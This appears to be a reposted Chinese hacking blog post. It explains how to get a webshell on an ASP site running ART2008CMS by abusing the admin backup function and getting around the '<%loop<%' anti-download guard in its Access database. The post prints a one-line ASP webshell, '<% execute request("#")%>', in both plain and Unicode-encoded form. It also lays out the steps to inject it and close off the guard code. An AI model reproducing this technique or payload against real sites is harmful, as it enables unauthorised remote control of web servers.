突破数据库防下载

今天检测一网站碰到个留言本默认数据库,访问后出现

Microsoft VBScript 编译器错误 错误 ‘800a040e’

‘loop’ 语句缺少 ‘do’

/data/data.asp,行 474

前几天搞了一个ART2008CMS的后台,


一直没找到拿shell的办法。今天又上去看了看,发现备份文件名字应该也能用firebug修改,赶紧试试~


没问题,可以正常上传,但是不能把后缀jpg的木马直接备份asp,那只能从文章里插一句话了。

插入一句话,备份,

打开一看,汗…… 显示‘loop’语句缺少‘do

去群里问了一下,是数据库中有防下载的<%loop<%才会这样。

下载数据库网上查教程,收获如下:

数据库中有一个NotDownload表,其内容显示为:”长二进制数据”

Loop是asp中的循环语句,其实在数据库中那一串长二进制数据就是<%loop<%的十六进制形式3C25206C6F6F70203C25.

我们可以通过UltraEdit十六进制形式打开它,然后搜索<%就会发现如图

知道asp语法的人看到这里应该都明白为什么会有 ‘loop’语句缺少‘do’ 的提示了把.所以当你插入一句话的时候就会遇到脚本无法闭合的问题.另外<%loop<% 这种是无法闭合的.下面是关键思路:既然无法闭合,我们是否能够注释掉?想到这里,我们就会想到单引号,没错就是它-ASP的注释符,但是前提是,要能够在他之前插入一个<%’;x (这里的x可以是其他字符,是为后面字符转换成unicode编码用的.) 另外,还要在<%loop<%后面插入一个%>x(这里X也是同理)才能让其和前面插入的闭合.这样就可以注释掉<%loop<%这个不可能闭合的问题了.我们整理一下思路:就是在<%loop<%前后的合适位置插入一段可以闭合的代码,并且将在这2个闭合符号中间的内容注释掉就即可。思路有了..就可以操作了.另外说明下,当你用UltraEdit十六进制形式打开数据库时搜索<%如果不是<%loop中的那个,就证明这里可以插入前置闭合符,同理,后置闭合符也可以这样判断.仔细观察,通过穷举法,多次测试前置闭合符和后置闭合符的插入位置,找好位置后插入一句话木马。

这里要注意的是在转换过程中不能出现?,这就是我刚才为什么加一个x的原因了.
┼攠數畣整爠煥敵瑳∨∫┩愾┼砧

是经过lake2编写的a2u4hack.exe工具转换成Unicode编码,它原型是:<% execute request(“#”)%>a<%’x

再次UltraEdit十六进制形式打开搜索<%发现


“┠ 砾 “同理也是经过a2u4hack.exe工具编码的,它的原型是: %>x 这样以后提交就可以提交到数据库并且完美的注释掉<%loop<%.
所有的工作完成后我们看下结果

成功插入一句话木马,也成功链接了直接拿到WebShell.

本文摘自黑面小窝由网络安全攻防研究室(www.91ri.org) 网络信息安全小组收集整理.